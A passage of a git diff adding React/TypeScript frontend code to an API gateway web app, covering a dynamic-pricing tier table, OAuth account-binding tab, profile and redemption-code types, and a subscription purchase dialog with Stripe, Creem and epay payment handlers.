+          </span>
+          <span className='text-foreground text-base font-medium'>
+            {t('Dynamic Pricing')}
+          </span>
+        </div>
+        <code className='text-muted-foreground block text-xs break-all'>
+          {baseExpr || expr}
+        </code>
+      </section>
+    )
+  }
+
+  const visiblePriceFields = BILLING_PRICING_VARS.filter((v) => {
+    if (!hasTiers) return false
+    if (hideCacheColumns && v.group === 'cache') return false
+    return tiers.some(
+      (tier) => Number(tier[v.field as string as keyof ParsedTier] || 0) > 0
+    )
+  })
+
+  return (
+    <section className='min-w-0 py-4'>
+      <div className='mb-4 flex items-start gap-2'>
+        <span className='mt-0.5 inline-flex size-6 items-center justify-center rounded-full bg-amber-100 text-amber-700 shadow-sm dark:bg-amber-500/20 dark:text-amber-300'>
+          <TagIcon className='size-3.5' />
+        </span>
+        <div>
+          <div className='text-foreground text-base font-medium'>
+            {t('Dynamic Pricing')}
+          </div>
+          <div className='text-muted-foreground text-xs'>
+            {t('Prices vary by usage tier and request conditions')}
+          </div>
+        </div>
+      </div>
+
+      {hasTiers && (
+        <div className='mb-4'>
+          <div className='text-foreground mb-2 text-sm font-semibold'>
+            {t('Tiered price table')}
+          </div>
+          <div className='-mx-4 max-w-[calc(100%+2rem)] overflow-x-auto sm:mx-0 sm:max-w-full'>
+            <Table className='text-sm'>
+              <TableHeader>
+                <TableRow className='hover:bg-transparent'>
+                  <TableHead className='text-muted-foreground py-2 text-[10px] font-medium tracking-wider uppercase'>
+                    {t('Tier')}
+                  </TableHead>
+                  {visiblePriceFields.map((v) => (
+                    <TableHead
+                      key={v.field}
+                      className='text-muted-foreground py-2 text-right text-[10px] font-medium tracking-wider uppercase'
+                    >
+                      {`${t(v.shortLabel)} (${priceSuffix})`}
+                    </TableHead>
+                  ))}
+                </TableRow>
+              </TableHeader>
+              <TableBody>
+                {tiers.map((tier, i) => {
+                  const condSummary = formatConditionSummary(tier.conditions, t)
+                  const isMatched =
+                    matchedTierLabel != null &&
+                    matchedTierLabel !== '' &&
+                    tier.label === matchedTierLabel
+                  return (
+                    <TableRow
+                      key={`tier-${i}`}
+                      className={cn(
+                        isMatched &&
+                          'bg-emerald-50/70 hover:bg-emerald-50/70 dark:bg-emerald-500/10 dark:hover:bg-emerald-500/10'
+                      )}
+                    >
+                      <TableCell className='py-2.5 align-top'>
+                        <div className='flex flex-wrap items-center gap-1.5'>
+                          <Badge
+                            variant='secondary'
+                            className='bg-blue-100 text-blue-700 dark:bg-blue-500/20 dark:text-blue-300'
+                          >
+                            {tier.label || t('Default')}
+                          </Badge>
+                          {isMatched && (
+                            <Badge
+                              variant='secondary'
+                              className='bg-emerald-100 text-emerald-700 dark:bg-emerald-500/20 dark:text-emerald-300'
+                            >
+                              {t('Matched')}
+                            </Badge>
+                          )}
+                        </div>
+                        {condSummary && (
+                          <div className='text-muted-foreground mt-1 text-xs'>
+                            {condSummary}
+                          </div>
+                        )}
+                      </TableCell>
+                      {visiblePriceFields.map((v) => {
+                        const value = Number(
+                          tier[v.field as string as keyof ParsedTier] || 0
+                        )
+                        return (
+                          <TableCell
+                            key={v.field}
+                            className='py-2.5 text-right align-top font-mono'
+                          >
+                            {value > 0 ? (
+                              <span className='font-semibold'>
+                                {`${symbol}${(value * rate).toFixed(4)}`}
+                              </span>
+                            ) : (
+                              '-'
+                            )}
+                          </TableCell>
+                        )
+                      })}
+                    </TableRow>
+                  )
+                })}
+              </TableBody>
+            </Table>
+          </div>
+        </div>
+      )}
+
+      {hasRules && (
+        <div>
+          <div className='text-foreground mb-2 text-sm font-semibold'>
+            {t('Conditional multipliers')}
+          </div>
+          <ul className='space-y-1.5'>
+            {ruleGroups.map((group, gi) => (
+              <li
+                key={`group-${gi}`}
+                className='bg-muted/50 flex items-center justify-between gap-3 rounded-md px-3 py-2'
+              >
+                <span className='text-foreground text-sm break-all'>
+                  {describeGroup(group, t)}
+                </span>
+                <Badge
+                  variant='secondary'
+                  className='shrink-0 bg-orange-100 text-orange-700 dark:bg-orange-500/20 dark:text-orange-300'
+                >
+                  {group.multiplier}x
+                </Badge>
+              </li>
+            ))}
+          </ul>
+        </div>
+      )}
+    </section>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/pricing/lib/index.ts b/_all-in-one-upload/new-api/web/default/src/features/pricing/lib/index.ts
new file mode 100644
index 0000000..a1b4a60
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/pricing/lib/index.ts
@@ -0,0 +1,9 @@
+// ----------------------------------------------------------------------------
+// Pricing Lib Exports
+// ----------------------------------------------------------------------------
+
+export * from './filters'
+export * from './price'
+export * from './model-helpers'
+export * from './billing-expr'
+export * from './tier-expr'
diff --git a/_all-in-one-upload/new-api/web/default/src/features/profile/components/tabs/account-bindings-tab.tsx b/_all-in-one-upload/new-api/web/default/src/features/profile/components/tabs/account-bindings-tab.tsx
new file mode 100644
index 0000000..fd42b4c
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/profile/components/tabs/account-bindings-tab.tsx
@@ -0,0 +1,407 @@
+import { useEffect, useMemo, useState, useCallback } from 'react'
+import { Mail, Shield, Send, Link2, Unlink } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { SiGithub, SiWechat, SiLinux } from 'react-icons/si'
+import { toast } from 'sonner'
+import { IconDiscord } from '@/assets/brand-icons'
+import {
+  handleGitHubOAuth,
+  handleOIDCOAuth,
+  handleDiscordOAuth,
+  handleLinuxDOOAuth,
+} from '@/lib/oauth'
+import { useDialogs } from '@/hooks/use-dialog'
+import { useStatus } from '@/hooks/use-status'
+import { Button } from '@/components/ui/button'
+import { Separator } from '@/components/ui/separator'
+import { ConfirmDialog } from '@/components/confirm-dialog'
+import { StatusBadge } from '@/components/status-badge'
+import { OAUTH_BIND_STORAGE_KEY } from '@/features/auth/constants'
+import {
+  getSelfOAuthBindings,
+  unbindCustomOAuth,
+  type CustomOAuthBinding,
+} from '../../api'
+import type { UserProfile, BindingItem } from '../../types'
+import { EmailBindDialog } from '../dialogs/email-bind-dialog'
+import { TelegramBindDialog } from '../dialogs/telegram-bind-dialog'
+import { WeChatBindDialog } from '../dialogs/wechat-bind-dialog'
+
+// ============================================================================
+// Account Bindings Tab Component
+// ============================================================================
+
+interface AccountBindingsTabProps {
+  profile: UserProfile | null
+  onUpdate: () => void
+}
+
+type DialogKey = 'email' | 'wechat' | 'telegram'
+
+export function AccountBindingsTab({
+  profile,
+  onUpdate,
+}: AccountBindingsTabProps) {
+  const { t } = useTranslation()
+  const dialogs = useDialogs<DialogKey>()
+  const { status, loading } = useStatus()
+  const [customBindings, setCustomBindings] = useState<CustomOAuthBinding[]>([])
+  const [unbindTarget, setUnbindTarget] = useState<CustomOAuthBinding | null>(
+    null
+  )
+  const [unbinding, setUnbinding] = useState(false)
+
+  const customProviders = status?.custom_oauth_providers as
+    | Array<{ id: string; name: string }>
+    | undefined
+
+  const fetchCustomBindings = useCallback(async () => {
+    if (!customProviders || customProviders.length === 0) return
+    try {
+      const res = await getSelfOAuthBindings()
+      if (res.success && res.data) {
+        setCustomBindings(res.data)
+      }
+    } catch {
+      // ignore
+    }
+  }, [customProviders])
+
+  useEffect(() => {
+    fetchCustomBindings()
+  }, [fetchCustomBindings])
+
+  const handleUnbindCustom = async () => {
+    if (!unbindTarget) return
+    setUnbinding(true)
+    try {
+      const res = await unbindCustomOAuth(unbindTarget.provider_id)
+      if (res.success) {
+        toast.success(
+          t('Unbound {{provider}}', {
+            provider: unbindTarget.provider_name,
+          })
+        )
+        await fetchCustomBindings()
+        onUpdate()
+      } else {
+        toast.error(res.message || t('Unbind failed'))
+      }
+    } catch {
+      toast.error(t('Unbind failed'))
+    } finally {
+      setUnbinding(false)
+      setUnbindTarget(null)
+    }
+  }
+
+  const handleBindCustomOAuth = (provider: { id: string; name: string }) => {
+    const redirectUrl = `${window.location.origin}/oauth/${provider.id}?bind=true`
+    window.location.href = `/api/oauth/${provider.id}?redirect=${encodeURIComponent(redirectUrl)}`
+  }
+
+  useEffect(() => {
+    if (typeof window === 'undefined') return
+
+    const handleStorage = (event: StorageEvent) => {
+      if (event.key !== OAUTH_BIND_STORAGE_KEY || !event.newValue) return
+      try {
+        const payload = JSON.parse(event.newValue) as {
+          status?: string
+          provider?: string
+          timestamp?: number
+        }
+        if (payload?.status === 'success') {
+          onUpdate()
+        }
+      } catch {
+        // ignore malformed payloads
+      }
+      try {
+        window.localStorage.removeItem(OAUTH_BIND_STORAGE_KEY)
+      } catch {
+        // ignore cleanup failure
+      }
+    }
+
+    window.addEventListener('storage', handleStorage)
+    return () => window.removeEventListener('storage', handleStorage)
+  }, [onUpdate])
+
+  // Memoize bindings to prevent unnecessary recalculations
+  const bindings: BindingItem[] = useMemo(() => {
+    if (!profile || !status) return []
+
+    return [
+      {
+        id: 'email',
+        label: t('Email'),
+        icon: Mail,
+        value: profile.email,
+        isBound: Boolean(profile.email),
+        isEnabled: true,
+        onBind: () => dialogs.open('email'),
+      },
+      {
+        id: 'wechat',
+        label: t('WeChat'),
+        icon: SiWechat as React.ComponentType<{ className?: string }>,
+        value: undefined,
+        isBound: Boolean(
+          (profile as unknown as Record<string, unknown>).wechat_id
+        ),
+        isEnabled: status?.wechat_login || false,
+        onBind: () => dialogs.open('wechat'),
+      },
+      {
+        id: 'github',
+        label: t('GitHub'),
+        icon: SiGithub,
+        value: (profile as unknown as Record<string, unknown>).github_id as
+          | string
+          | undefined,
+        isBound: Boolean(
+          (profile as unknown as Record<string, unknown>).github_id
+        ),
+        isEnabled: status?.github_oauth || false,
+        onBind: () => {
+          if (status?.github_client_id) {
+            handleGitHubOAuth(status.github_client_id)
+          }
+        },
+      },
+      {
+        id: 'discord',
+        label: t('Discord'),
+        icon: IconDiscord,
+        value: (profile as unknown as Record<string, unknown>).discord_id as
+          | string
+          | undefined,
+        isBound: Boolean(
+          (profile as unknown as Record<string, unknown>).discord_id
+        ),
+        isEnabled: status?.discord_oauth || false,
+        onBind: () => {
+          if (status?.discord_client_id) {
+            handleDiscordOAuth(status.discord_client_id)
+          }
+        },
+      },
+      {
+        id: 'oidc',
+        label: t('OIDC'),
+        icon: Shield,
+        value: (profile as unknown as Record<string, unknown>).oidc_id as
+          | string
+          | undefined,
+        isBound: Boolean(
+          (profile as unknown as Record<string, unknown>).oidc_id
+        ),
+        isEnabled: status?.oidc_enabled || false,
+        onBind: () => {
+          if (status?.oidc_authorization_endpoint && status?.oidc_client_id) {
+            handleOIDCOAuth(
+              status.oidc_authorization_endpoint,
+              status.oidc_client_id
+            )
+          }
+        },
+      },
+      {
+        id: 'telegram',
+        label: t('Telegram'),
+        icon: Send,
+        value: (profile as unknown as Record<string, unknown>).telegram_id as
+          | string
+          | undefined,
+        isBound: Boolean(
+          (profile as unknown as Record<string, unknown>).telegram_id
+        ),
+        isEnabled: status?.telegram_oauth || false,
+        onBind: () => dialogs.open('telegram'),
+      },
+      {
+        id: 'linuxdo',
+        label: t('LinuxDO'),
+        icon: SiLinux as React.ComponentType<{ className?: string }>,
+        value: (profile as unknown as Record<string, unknown>).linux_do_id as
+          | string
+          | undefined,
+        isBound: Boolean(
+          (profile as unknown as Record<string, unknown>).linux_do_id
+        ),
+        isEnabled: status?.linuxdo_oauth || false,
+        onBind: () => {
+          if (status?.linuxdo_client_id) {
+            handleLinuxDOOAuth(status.linuxdo_client_id)
+          }
+        },
+      },
+    ].filter((binding) => binding.isEnabled)
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [profile, status, t])
+
+  if (!profile || loading) return null
+
+  return (
+    <>
+      <div className='grid grid-cols-1 gap-3 sm:grid-cols-2'>
+        {bindings.map((binding) => (
+          <div
+            key={binding.id}
+            className='flex flex-col gap-3 rounded-lg border p-3 sm:flex-row sm:items-center sm:justify-between'
+          >
+            <div className='flex min-w-0 items-center gap-3'>
+              <div className='bg-muted shrink-0 rounded-md p-2'>
+                <binding.icon className='h-4 w-4' />
+              </div>
+              <div className='min-w-0'>
+                <div className='flex items-center gap-1.5'>
+                  <p className='text-sm font-medium'>{binding.label}</p>
+                  {binding.isBound && (
+                    <StatusBadge
+                      label={t('Bound')}
+                      variant='success'
+                      copyable={false}
+                    />
+                  )}
+                </div>
+                <p className='text-muted-foreground truncate text-xs'>
+                  {binding.value || t('Not bound')}
+                </p>
+              </div>
+            </div>
+            <Button
+              variant='outline'
+              size='sm'
+              className='h-7 shrink-0 self-start px-2.5 text-xs sm:self-auto'
+              onClick={binding.onBind}
+              disabled={binding.isBound && binding.id !== 'email'}
+            >
+              {binding.isBound
+                ? binding.id === 'email'
+                  ? t('Change')
+                  : t('Bound')
+                : t('Bind')}
+            </Button>
+          </div>
+        ))}
+      </div>
+
+      {/* Custom OAuth Bindings */}
+      {customProviders && customProviders.length > 0 && (
+        <>
+          <Separator className='my-4' />
+          <p className='text-muted-foreground mb-3 text-sm font-medium'>
+            {t('Custom OAuth')}
+          </p>
+          <div className='grid grid-cols-1 gap-3 sm:grid-cols-2'>
+            {customProviders.map((provider) => {
+              const binding = customBindings.find(
+                (b) => b.provider_id === provider.id
+              )
+              const isBound = !!binding
+              return (
+                <div
+                  key={provider.id}
+                  className='flex flex-col gap-3 rounded-lg border p-3 sm:flex-row sm:items-center sm:justify-between'
+                >
+                  <div className='flex min-w-0 items-center gap-3'>
+                    <div className='bg-muted shrink-0 rounded-md p-2'>
+                      <Link2 className='h-4 w-4' />
+                    </div>
+                    <div className='min-w-0'>
+                      <div className='flex items-center gap-1.5'>
+                        <p className='text-sm font-medium'>{provider.name}</p>
+                        {isBound && (
+                          <StatusBadge
+                            label={t('Bound')}
+                            variant='success'
+                            copyable={false}
+                          />
+                        )}
+                      </div>
+                      <p className='text-muted-foreground truncate text-xs'>
+                        {isBound
+                          ? binding?.external_id || t('Bound')
+                          : t('Not bound')}
+                      </p>
+                    </div>
+                  </div>
+                  {isBound ? (
+                    <Button
+                      variant='ghost'
+                      size='sm'
+                      className='text-destructive hover:text-destructive h-7 shrink-0 self-start px-2.5 text-xs sm:self-auto'
+                      onClick={() => setUnbindTarget(binding)}
+                    >
+                      <Unlink className='mr-1 h-3 w-3' />
+                      {t('Unbind')}
+                    </Button>
+                  ) : (
+                    <Button
+                      variant='outline'
+                      size='sm'
+                      className='h-7 shrink-0 self-start px-2.5 text-xs sm:self-auto'
+                      onClick={() => handleBindCustomOAuth(provider)}
+                    >
+                      {t('Bind')}
+                    </Button>
+                  )}
+                </div>
+              )
+            })}
+          </div>
+        </>
+      )}
+
+      {/* Custom OAuth Unbind Confirmation */}
+      <ConfirmDialog
+        open={!!unbindTarget}
+        onOpenChange={(open) => !open && setUnbindTarget(null)}
+        title={t('Confirm Unbind')}
+        desc={t(
+          'Are you sure you want to unbind {{provider}}? You will no longer be able to log in via this method.',
+          {
+            provider: unbindTarget?.provider_name || '',
+          }
+        )}
+        confirmText={t('Confirm Unbind')}
+        destructive
+        handleConfirm={handleUnbindCustom}
+        isLoading={unbinding}
+      />
+
+      {/* Email Bind Dialog */}
+      <EmailBindDialog
+        open={dialogs.isOpen('email')}
+        onOpenChange={(open) =>
+          open ? dialogs.open('email') : dialogs.close('email')
+        }
+        currentEmail={profile.email}
+        onSuccess={onUpdate}
+      />
+
+      {/* WeChat Bind Dialog */}
+      <WeChatBindDialog
+        open={dialogs.isOpen('wechat')}
+        onOpenChange={(open) =>
+          open ? dialogs.open('wechat') : dialogs.close('wechat')
+        }
+        onSuccess={onUpdate}
+      />
+
+      {/* Telegram Bind Dialog */}
+      {status?.telegram_bot_name && (
+        <TelegramBindDialog
+          open={dialogs.isOpen('telegram')}
+          onOpenChange={(open) =>
+            open ? dialogs.open('telegram') : dialogs.close('telegram')
+          }
+          botName={status.telegram_bot_name as string}
+          onSuccess={onUpdate}
+        />
+      )}
+    </>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/profile/constants.ts b/_all-in-one-upload/new-api/web/default/src/features/profile/constants.ts
new file mode 100644
index 0000000..84fdbef
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/profile/constants.ts
@@ -0,0 +1,18 @@
+// ============================================================================
+// Profile Constants
+// ============================================================================
+
+/**
+ * Default quota warning threshold (500,000 = $1)
+ */
+export const DEFAULT_QUOTA_WARNING_THRESHOLD = 500000
+
+/**
+ * Notification methods
+ */
+export const NOTIFICATION_METHODS = [
+  { value: 'email' as const, label: 'Email' },
+  { value: 'webhook' as const, label: 'Webhook' },
+  { value: 'bark' as const, label: 'Bark' },
+  { value: 'gotify' as const, label: 'Gotify' },
+] as const
diff --git a/_all-in-one-upload/new-api/web/default/src/features/profile/types.ts b/_all-in-one-upload/new-api/web/default/src/features/profile/types.ts
new file mode 100644
index 0000000..012dbf0
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/profile/types.ts
@@ -0,0 +1,214 @@
+// ============================================================================
+// Profile Type Definitions
+// ============================================================================
+
+/**
+ * Generic API response
+ */
+export interface ApiResponse<T = unknown> {
+  success: boolean
+  message?: string
+  data?: T
+}
+
+/**
+ * User profile data
+ */
+export interface UserProfile {
+  /** User ID */
+  id: number
+  /** Username */
+  username: string
+  /** Display name */
+  display_name: string
+  /** User role (1=普通用户, 10=管理员, 100=超级管理员) */
+  role: number
+  /** Email address */
+  email?: string
+  /** User group */
+  group: string
+  /** Current quota balance */
+  quota: number
+  /** Total used quota */
+  used_quota: number
+  /** Total request count */
+  request_count: number
+  /** Account status (1=启用, 2=禁用, 3=待审核, 4=已删除) */
+  status: number
+  /** Access token (system token) */
+  access_token?: string
+  /** Affiliate code */
+  aff_code?: string
+  /** Number of successful affiliate invites */
+  aff_count: number
+  /** Affiliate quota (pending rewards) */
+  aff_quota: number
+  /** Total affiliate quota earned (historical) */
+  aff_history_quota: number
+  /** Invite user ID */
+  invite_user_id?: number
+  /** Account creation timestamp */
+  created_time: number
+  /** User settings (JSON string) */
+  setting?: string
+  /** WeChat ID (OAuth) */
+  wechat_id?: string
+  /** GitHub ID (OAuth) */
+  github_id?: string
+  /** Discord ID (OAuth) */
+  discord_id?: string
+  /** OIDC ID (OAuth) */
+  oidc_id?: string
+  /** Telegram ID (OAuth) */
+  telegram_id?: string
+  /** LinuxDO ID (OAuth) */
+  linux_do_id?: string
+}
+
+/**
+ * Notification type
+ */
+export type NotifyType = 'email' | 'webhook' | 'bark' | 'gotify'
+
+/**
+ * Parsed user settings
+ */
+export interface UserSettings {
+  /** Notification type */
+  notify_type?: NotifyType
+  /** Quota warning threshold */
+  quota_warning_threshold?: number
+  /** Webhook URL */
+  webhook_url?: string
+  /** Webhook secret */
+  webhook_secret?: string
+  /** Notification email */
+  notification_email?: string
+  /** Bark URL */
+  bark_url?: string
+  /** Gotify server URL */
+  gotify_url?: string
+  /** Gotify application token */
+  gotify_token?: string
+  /** Gotify message priority (0-10) */
+  gotify_priority?: number
+  /** Accept unset model ratio model */
+  accept_unset_model_ratio_model?: boolean
+  /** Record IP log */
+  record_ip_log?: boolean
+  /** Receive upstream model update notifications (admin only) */
+  upstream_model_update_notify_enabled?: boolean
+}
+
+/**
+ * User update request
+ */
+export interface UpdateUserRequest {
+  display_name?: string
+  password?: string
+  original_password?: string
+}
+
+/**
+ * User settings update request
+ */
+export interface UpdateUserSettingsRequest {
+  notify_type?: string
+  quota_warning_threshold?: number
+  webhook_url?: string
+  webhook_secret?: string
+  notification_email?: string
+  bark_url?: string
+  gotify_url?: string
+  gotify_token?: string
+  gotify_priority?: number
+  accept_unset_model_ratio_model?: boolean
+  record_ip_log?: boolean
+  upstream_model_update_notify_enabled?: boolean
+}
+
+/**
+ * Account deletion request
+ */
+export interface DeleteAccountRequest {
+  password?: string
+}
+
+/**
+ * Account binding item
+ */
+export interface BindingItem {
+  id: string
+  label: string
+  icon: React.ElementType
+  value?: string
+  isBound: boolean
+  isEnabled: boolean
+  onBind: () => void
+}
+
+/**
+ * Two-Factor Authentication Status
+ */
+export interface TwoFAStatus {
+  enabled: boolean
+  locked: boolean
+  backup_codes_remaining: number
+}
+
+/**
+ * Two-Factor Authentication Setup Data
+ */
+export interface TwoFASetupData {
+  secret: string
+  qr_code_data: string
+  backup_codes: string[]
+}
+
+// ============================================================================
+// Checkin Type Definitions
+// ============================================================================
+
+/**
+ * Checkin record for a specific date
+ */
+export interface CheckinRecord {
+  /** Check-in date (YYYY-MM-DD) */
+  checkin_date: string
+  /** Quota awarded for this check-in */
+  quota_awarded: number
+}
+
+/**
+ * Checkin statistics
+ */
+export interface CheckinStats {
+  /** Whether user has checked in today */
+  checked_in_today: boolean
+  /** Total number of check-ins */
+  total_checkins: number
+  /** Total quota earned from check-ins */
+  total_quota: number
+  /** Current month check-in count */
+  checkin_count: number
+  /** Check-in records for the queried month */
+  records: CheckinRecord[]
+}
+
+/**
+ * Check-in status response
+ */
+export interface CheckinStatusResponse {
+  /** Whether check-in feature is enabled */
+  enabled: boolean
+  /** Check-in statistics */
+  stats: CheckinStats
+}
+
+/**
+ * Check-in action response
+ */
+export interface CheckinResponse {
+  /** Quota awarded for this check-in */
+  quota_awarded: number
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/redemption-codes/types.ts b/_all-in-one-upload/new-api/web/default/src/features/redemption-codes/types.ts
new file mode 100644
index 0000000..db2f4b5
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/redemption-codes/types.ts
@@ -0,0 +1,67 @@
+import { z } from 'zod'
+
+// ============================================================================
+// Redemption Schema & Types
+// ============================================================================
+
+export const redemptionSchema = z.object({
+  id: z.number(),
+  user_id: z.number(),
+  name: z.string(),
+  key: z.string(),
+  status: z.number(), // 1: enabled, 2: disabled, 3: used
+  quota: z.number(),
+  created_time: z.number(),
+  redeemed_time: z.number(),
+  expired_time: z.number(), // 0 for never expires
+  used_user_id: z.number(),
+})
+
+export type Redemption = z.infer<typeof redemptionSchema>
+
+// ============================================================================
+// API Request/Response Types
+// ============================================================================
+
+export interface ApiResponse<T = unknown> {
+  success: boolean
+  message?: string
+  data?: T
+}
+
+export interface GetRedemptionsParams {
+  p?: number
+  page_size?: number
+}
+
+export interface GetRedemptionsResponse {
+  success: boolean
+  message?: string
+  data?: {
+    items: Redemption[]
+    total: number
+    page: number
+    page_size: number
+  }
+}
+
+export interface SearchRedemptionsParams {
+  keyword?: string
+  p?: number
+  page_size?: number
+}
+
+export interface RedemptionFormData {
+  id?: number
+  name: string
+  quota: number
+  expired_time: number
+  count?: number // Only for create
+  status?: number // Only for status update
+}
+
+// ============================================================================
+// Dialog Types
+// ============================================================================
+
+export type RedemptionsDialogType = 'create' | 'update' | 'delete' | 'view'
diff --git a/_all-in-one-upload/new-api/web/default/src/features/subscriptions/components/dialogs/subscription-purchase-dialog.tsx b/_all-in-one-upload/new-api/web/default/src/features/subscriptions/components/dialogs/subscription-purchase-dialog.tsx
new file mode 100644
index 0000000..b50254f
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/subscriptions/components/dialogs/subscription-purchase-dialog.tsx
@@ -0,0 +1,304 @@
+import { useState, useEffect } from 'react'
+import { Crown, CalendarClock, Package } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Separator } from '@/components/ui/separator'
+import {
+  paySubscriptionStripe,
+  paySubscriptionCreem,
+  paySubscriptionEpay,
+} from '../../api'
+import { formatDuration, formatResetPeriod } from '../../lib'
+import type { PlanRecord } from '../../types'
+
+interface PaymentMethod {
+  type: string
+  name?: string
+}
+
+interface Props {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  plan: PlanRecord | null
+  enableStripe?: boolean
+  enableCreem?: boolean
+  enableOnlineTopUp?: boolean
+  epayMethods?: PaymentMethod[]
+  purchaseLimit?: number
+  purchaseCount?: number
+}
+
+export function SubscriptionPurchaseDialog(props: Props) {
+  const { t } = useTranslation()
+  const [paying, setPaying] = useState(false)
+  const [selectedEpayMethod, setSelectedEpayMethod] = useState('')
+
+  useEffect(() => {
+    if (props.open && props.epayMethods && props.epayMethods.length > 0) {
+      setSelectedEpayMethod(props.epayMethods[0].type)
+    } else if (!props.open) {
+      setSelectedEpayMethod('')
+    }
+  }, [props.open, props.epayMethods])
+
+  const plan = props.plan?.plan
+  if (!plan) return null
+
+  const hasStripe = props.enableStripe && !!plan.stripe_price_id
+  const hasCreem = props.enableCreem && !!plan.creem_product_id
+  const hasEpay =
+    props.enableOnlineTopUp && (props.epayMethods || []).length > 0
+  const hasAnyPayment = hasStripe || hasCreem || hasEpay
+  const totalAmount = Number(plan.total_amount || 0)
+  const price = Number(plan.price_amount || 0).toFixed(2)
+  const limitReached =
+    (props.purchaseLimit || 0) > 0 &&
+    (props.purchaseCount || 0) >= (props.purchaseLimit || 0)
+
+  const handlePayStripe = async () => {
+    setPaying(true)
+    try {
+      const res = await paySubscriptionStripe({ plan_id: plan.id })
+      if (res.message === 'success' && res.data?.pay_link) {
+        window.open(res.data.pay_link, '_blank')
+        toast.success(t('Payment page opened'))
+        props.onOpenChange(false)
+      } else {
+        toast.error(
+          res.message && res.message !== 'success'
+            ? res.message
+            : t('Payment request failed')
+        )
+      }
+    } catch {
+      toast.error(t('Payment request failed'))
+    } finally {
+      setPaying(false)
+    }
+  }
+
+  const handlePayCreem = async () => {
+    setPaying(true)
+    try {
+      const res = await paySubscriptionCreem({ plan_id: plan.id })
+      if (res.message === 'success' && res.data?.checkout_url) {
+        window.open(res.data.checkout_url, '_blank')
+        toast.success(t('Payment page opened'))
+        props.onOpenChange(false)
+      } else {
+        toast.error(
+          res.message && res.message !== 'success'
+            ? res.message
+            : t('Payment request failed')
+        )
+      }
+    } catch {
+      toast.error(t('Payment request failed'))
+    } finally {
+      setPaying(false)
+    }
+  }
+
+  const isSafari =
+    typeof navigator !== 'undefined' &&
+    /^((?!chrome|android).)*safari/i.test(navigator.userAgent)
+
+  const handlePayEpay = async () => {
+    if (!selectedEpayMethod) {
+      toast.error(t('Please select a payment method'))
+      return
+    }
+    setPaying(true)
+    try {
+      const res = await paySubscriptionEpay({
+        plan_id: plan.id,
+        payment_method: selectedEpayMethod,
+      })
+      if (res.message === 'success' && res.url) {
+        const form = document.createElement('form')
+        form.action = res.url
+        form.method = 'POST'
+        if (!isSafari) {
+          form.target = '_blank'
+        }
+        Object.entries(res.data || {}).forEach(([key, value]) => {
+          const input = document.createElement('input')
+          input.type = 'hidden'
+          input.name = key
+          input.value = String(value)
+          form.appendChild(input)
+        })
+        document.body.appendChild(form)
+        form.submit()
+        document.body.removeChild(form)
+        toast.success(t('Payment initiated'))
+        props.onOpenChange(false)
+      } else {
+        toast.error(
+          res.message && res.message !== 'success'
+            ? res.message
+            : t('Payment request failed')
+        )
+      }
+    } catch {
+      toast.error(t('Payment request failed'))
+    } finally {
+      setPaying(false)
+    }
+  }
+
+  return (
+    <Dialog open={props.open} onOpenChange={props.onOpenChange}>
+      <DialogContent className='sm:max-w-md'>
+        <DialogHeader>
+          <DialogTitle className='flex items-center gap-2'>
+            <Crown className='h-5 w-5' />
+            {t('Purchase Subscription')}
+          </DialogTitle>
+        </DialogHeader>
+
+        <div className='space-y-4'>
+          <div className='bg-muted/50 space-y-3 rounded-lg border p-4'>
+            <div className='flex justify-between'>
+              <span className='text-muted-foreground text-sm'>
+                {t('Plan Name')}
+              </span>
+              <span className='max-w-[200px] truncate text-sm font-medium'>
+                {plan.title}
+              </span>
+            </div>
+            <div className='flex items-center justify-between'>
+              <span className='text-muted-foreground text-sm'>
+                {t('Validity Period')}
+              </span>
+              <span className='flex items-center gap-1 text-sm'>
+                <CalendarClock className='h-3.5 w-3.5' />
+                {formatDuration(plan, t)}
+              </span>
+            </div>
+            {formatResetPeriod(plan, t) !== t('No Reset') && (
+              <div className='flex justify-between'>
+                <span className='text-muted-foreground text-sm'>
+                  {t('Reset Period')}
+                </span>
+                <span className='text-sm'>{formatResetPeriod(plan, t)}</span>
+              </div>
+            )}
+            <div className='flex items-center justify-between'>
+              <span className='text-muted-foreground text-sm'>
+                {t('Total Quota')}
+              </span>
+              <span className='flex items-center gap-1 text-sm'>
+                <Package className='h-3.5 w-3.5' />
+                {totalAmount > 0 ? totalAmount : t('Unlimited')}
+              </span>
+            </div>
+            {plan.upgrade_group && (
+              <div className='flex justify-between'>
+                <span className='text-muted-foreground text-sm'>
+                  {t('Upgrade Group')}
+                </span>
+                <span className='text-sm'>{plan.upgrade_group}</span>
+              </div>
+            )}
+            <Separator />
+            <div className='flex items-center justify-between'>
+              <span className='text-sm font-medium'>{t('Amount Due')}</span>
+              <span className='text-primary text-lg font-bold'>${price}</span>
+            </div>
+          </div>
+
+          {limitReached && (
+            <Alert variant='destructive'>
+              <AlertDescription>
+                {t('Purchase limit reached')} ({props.purchaseCount}/
+                {props.purchaseLimit})
+              </AlertDescription>
+            </Alert>
+          )}
+
+          {hasAnyPayment ? (
+            <div className='space-y-3'>
+              <p className='text-muted-foreground text-xs'>
+                {t('Select payment method')}
+              </p>
+              {(hasStripe || hasCreem) && (
+                <div className='flex gap-2'>
+                  {hasStripe && (
+                    <Button
+                      variant='outline'
+                      className='flex-1'
+                      onClick={handlePayStripe}
+                      disabled={paying || limitReached}
+                    >
+                      Stripe
+                    </Button>
+                  )}
+                  {hasCreem && (
+                    <Button
+                      variant='outline'
+                      className='flex-1'
+                      onClick={handlePayCreem}
+                      disabled={paying || limitReached}
+                    >
+                      Creem
+                    </Button>
+                  )}
+                </div>
+              )}
